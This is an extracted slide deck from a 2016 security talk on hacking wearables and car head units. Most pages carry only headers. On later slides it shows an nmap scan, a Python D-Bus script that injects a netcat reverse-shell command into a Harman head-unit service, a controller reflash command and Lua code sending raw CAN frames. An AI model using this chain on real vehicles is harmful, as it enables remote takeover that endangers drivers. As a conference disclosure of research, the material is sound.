56
Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/ ROME 18-19.03.2016 www.codemotionworld.com Andrea Pompili [email protected] Xilogic Corp. WEARABLE BOTNETS AND HAPPY HACKED DRIVERS Andrea Pompili There are only 10 types of people in the world: Those who understand binary, and those who don't

Wearable botnets 201560319_v3

Embed Size (px)

Citation preview

Page 1: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

WEARABLE BOTNETS AND HAPPY HACKED DRIVERS

Andrea Pompili

There are only 10 types of people in the world:

Those who understand binary, and those who don't

Page 2: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 3: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 4: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

R8C/25 Group

64 KB Flash memory

3 KB RAM

Page 5: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

NC30 standard library statically linked

Page 6: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 7: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 8: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

http://deadhacker.com/2010/02/03/jtag-enumeration/

http://openocd.org/doc/html/Debug-Adapter-Hardware.html

https://github.com/synthetos/PiOCD/wiki/Using-a-Raspberry-Pi-as-a-JTAG-Dongle

Page 9: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

http://www.dataman.com

E8a (R0E00008AKCE00)

Page 10: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

http://www.limpkin.fr/index.php?post/2012/04/30/Hacking-a-laundry-machine-in-one-day-%28SLE4442%29

Page 11: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 12: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 13: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

http://trailofbits.files.wordpress.com/2011/08/attacker-math.pdf

Page 14: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 15: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 16: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 17: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 18: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 19: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 20: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 21: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 22: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 23: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 24: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 25: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 26: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 27: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 28: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 29: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 30: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 31: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 32: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 33: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 34: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 35: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 36: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Multiple Bus (max 1Mbps)

UART or I2C (19.2Kbaud)

High Speed and Reliable (10Mbps)

Optical fiber (150Mbps)

Page 37: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

SAE J1979

Page 38: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 39: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 40: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 41: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 42: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 43: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 44: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 45: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 46: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Starting Nmap 6.01 ( http://nmap.org ) at 2015-07-26 11:23 CDT

Nmap scan report for 192.168.5.1

Host is up (0.0036s latency).

PORT STATE SERVICE

2011/tcp open raid-cc

2021/tcp open servexec

4400/tcp open unknown

6010/tcp open x11

6020/tcp open unknown

6667/tcp open irc

51500/tcp open unknown

65200/tcp open unknown

Page 47: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

https://www.freedesktop.org/wiki/Software/dbus/

Page 48: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

#!python

import dbus

bus_obj = dbus.bus.BusConnection("tcp:host=192.168.5.1, port=6667")

proxy_object = bus_obj.get_object(

'com.harman.service.NavTrailService',

'/com/harman/service/NavTrailService')

playerengine_iface = dbus.Interface(

proxy_object, dbus_interface='com.harman.ServiceIpc')

print playerengine_iface.Invoke(

'execute',

'{"cmd":"netcat -l -p 6666 | /bin/sh | netcat 192.168.5.109 6666"}')

Page 49: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

21.0.0.0/8

Page 50: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

21.0.0.0/8

Page 51: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

21.0.0.0/8

21.0.0.0/8

Page 52: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

iocupdate -c 4 -p usr/share/V850/cmcioc.bin

Page 53: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

SCLK

MOSI

MISO

SS

SCLK

MOSI

MISO

SS

ipc = require("ipc")

file = '/dev/ipc/ch7'

g = assert(ipc.open(file))

-- f0,02,39|91,LEN,CAN1,CAN2,CAN3,CAN4,DATA0,DATA1...

g:write(0xf0, 0x02, 91, 0x08, 0xf1, 0x86, 0xda, 0xf8,

0x05, 0x2F, 0x51, 0x06, 0x03, 0x10, 0x00, 0x00)

Page 54: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 55: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Page 56: Wearable botnets 201560319_v3

Page ‹N› Except where otherwise noted, this work is licensed under http://creativecommons.org/licenses/by-nc-sa/3.0/

ROME 18-19.03.2016 www.codemotionworld.com

Andrea Pompili

[email protected] – Xilogic Corp.

Domande? Italian

مطالب أيةArabic

¿Preguntas? Spanish

Questions? English

tupoQghachmey Klingon

Sindarin

Japanese

Ερωτήσεις? Greek

вопросы? Russian